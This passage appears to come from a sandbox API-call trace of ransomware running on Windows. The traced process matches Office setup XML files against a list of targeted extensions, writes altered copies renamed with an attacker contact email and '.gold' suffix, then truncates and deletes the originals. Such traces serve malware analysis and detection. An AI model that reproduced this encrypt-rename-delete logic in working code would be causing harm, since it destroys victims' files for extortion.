(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.484] lstrlenW (lpString=".dbf") returned 4 [0036.484] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.484] lstrlenW (lpString=".1cd") returned 4 [0036.484] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.484] lstrlenW (lpString=".jpg") returned 4 [0036.484] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.484] lstrlenW (lpString=".doc") returned 4 [0036.484] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString=".docx") returned 5 [0036.484] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0036.484] lstrlenW (lpString=".pdf") returned 4 [0036.484] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString=".xls") returned 4 [0036.484] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString=".xlsx") returned 5 [0036.484] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0036.484] lstrlenW (lpString=".ppt") returned 4 [0036.484] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.484] lstrlenW (lpString=".zip") returned 4 [0036.484] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.484] lstrlenW (lpString=".rar") returned 4 [0036.484] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString=".bz2") returned 4 [0036.484] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString=".7z") returned 3 [0036.484] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.484] lstrlenW (lpString=".dbf") returned 4 [0036.484] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.484] lstrlenW (lpString=".1cd") returned 4 [0036.484] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.485] lstrlenW (lpString=".jpg") returned 4 [0036.485] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.485] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.485] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0036.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.485] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=913) returned 1 [0036.485] CloseHandle (hObject=0x1b0) returned 1 [0036.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0036.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.485] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.485] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0038.154] GetLastError () returned 0x0 [0038.154] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x391, lpOverlapped=0x0) returned 1 [0038.216] WriteFile (in: hFile=0x1f0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0038.217] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.217] WriteFile (in: hFile=0x1f0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xee, lpOverlapped=0x0) returned 1 [0038.217] SetEndOfFile (hFile=0x1f0) returned 1 [0038.218] CloseHandle (hObject=0x1f0) returned 1 [0038.218] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.218] SetEndOfFile (hFile=0x1b0) returned 1 [0038.219] CloseHandle (hObject=0x1b0) returned 1 [0038.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.219] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0038.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.220] lstrlenW (lpString=".doc") returned 4 [0038.220] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString=".docx") returned 5 [0038.220] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.220] lstrlenW (lpString=".pdf") returned 4 [0038.220] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString=".xls") returned 4 [0038.220] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString=".xlsx") returned 5 [0038.220] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.220] lstrlenW (lpString=".ppt") returned 4 [0038.220] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.220] lstrlenW (lpString=".zip") returned 4 [0038.220] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.220] lstrlenW (lpString=".rar") returned 4 [0038.220] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString=".bz2") returned 4 [0038.220] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString=".7z") returned 3 [0038.220] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.220] lstrlenW (lpString=".dbf") returned 4 [0038.220] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.220] lstrlenW (lpString=".1cd") returned 4 [0038.220] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.220] lstrlenW (lpString=".jpg") returned 4 [0038.220] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.220] lstrlenW (lpString=".doc") returned 4 [0038.220] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString=".docx") returned 5 [0038.220] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.220] lstrlenW (lpString=".pdf") returned 4 [0038.220] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString=".xls") returned 4 [0038.220] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.220] lstrlenW (lpString=".xlsx") returned 5 [0038.220] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.220] lstrlenW (lpString=".ppt") returned 4 [0038.221] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.221] lstrlenW (lpString=".zip") returned 4 [0038.221] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.221] lstrlenW (lpString=".rar") returned 4 [0038.221] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.221] lstrlenW (lpString=".bz2") returned 4 [0038.221] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.221] lstrlenW (lpString=".7z") returned 3 [0038.221] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.221] lstrlenW (lpString=".dbf") returned 4 [0038.221] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.221] lstrlenW (lpString=".1cd") returned 4 [0038.221] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0038.221] lstrlenW (lpString=".jpg") returned 4 [0038.221] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.221] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.221] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0038.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.221] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1450) returned 1 [0038.221] CloseHandle (hObject=0x1b0) returned 1 [0038.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0038.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.222] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.222] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.259] GetLastError () returned 0x0 [0038.259] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0038.260] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0038.261] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.261] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0038.261] SetEndOfFile (hFile=0x1fc) returned 1 [0038.261] CloseHandle (hObject=0x1fc) returned 1 [0038.262] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.262] SetEndOfFile (hFile=0x1b0) returned 1 [0038.262] CloseHandle (hObject=0x1b0) returned 1 [0038.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.263] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0038.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.263] lstrlenW (lpString=".doc") returned 4 [0038.263] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.263] lstrlenW (lpString=".docx") returned 5 [0038.263] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.263] lstrlenW (lpString=".pdf") returned 4 [0038.263] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.263] lstrlenW (lpString=".xls") returned 4 [0038.263] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.263] lstrlenW (lpString=".xlsx") returned 5 [0038.263] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.263] lstrlenW (lpString=".ppt") returned 4 [0038.263] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.263] lstrlenW (lpString=".zip") returned 4 [0038.263] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.263] lstrlenW (lpString=".rar") returned 4 [0038.263] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.263] lstrlenW (lpString=".bz2") returned 4 [0038.263] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.263] lstrlenW (lpString=".7z") returned 3 [0038.263] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.263] lstrlenW (lpString=".dbf") returned 4 [0038.263] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.263] lstrlenW (lpString=".1cd") returned 4 [0038.263] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.264] lstrlenW (lpString=".jpg") returned 4 [0038.264] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.264] lstrlenW (lpString=".doc") returned 4 [0038.264] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString=".docx") returned 5 [0038.264] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.264] lstrlenW (lpString=".pdf") returned 4 [0038.264] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString=".xls") returned 4 [0038.264] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString=".xlsx") returned 5 [0038.264] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.264] lstrlenW (lpString=".ppt") returned 4 [0038.264] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.264] lstrlenW (lpString=".zip") returned 4 [0038.264] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.264] lstrlenW (lpString=".rar") returned 4 [0038.264] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString=".bz2") returned 4 [0038.264] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString=".7z") returned 3 [0038.264] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.264] lstrlenW (lpString=".dbf") returned 4 [0038.264] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.264] lstrlenW (lpString=".1cd") returned 4 [0038.264] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0038.264] lstrlenW (lpString=".jpg") returned 4 [0038.264] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.264] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.264] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0038.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.265] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=6421) returned 1 [0038.265] CloseHandle (hObject=0x1b0) returned 1 [0038.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0038.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.265] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.265] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0038.265] GetLastError () returned 0x0 [0038.265] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1915, lpOverlapped=0x0) returned 1 [0038.266] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0038.267] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.267] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xee, lpOverlapped=0x0) returned 1 [0038.268] SetEndOfFile (hFile=0x1fc) returned 1 [0038.268] CloseHandle (hObject=0x1fc) returned 1 [0038.268] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.268] SetEndOfFile (hFile=0x1b0) returned 1 [0038.269] CloseHandle (hObject=0x1b0) returned 1 [0038.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.270] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup 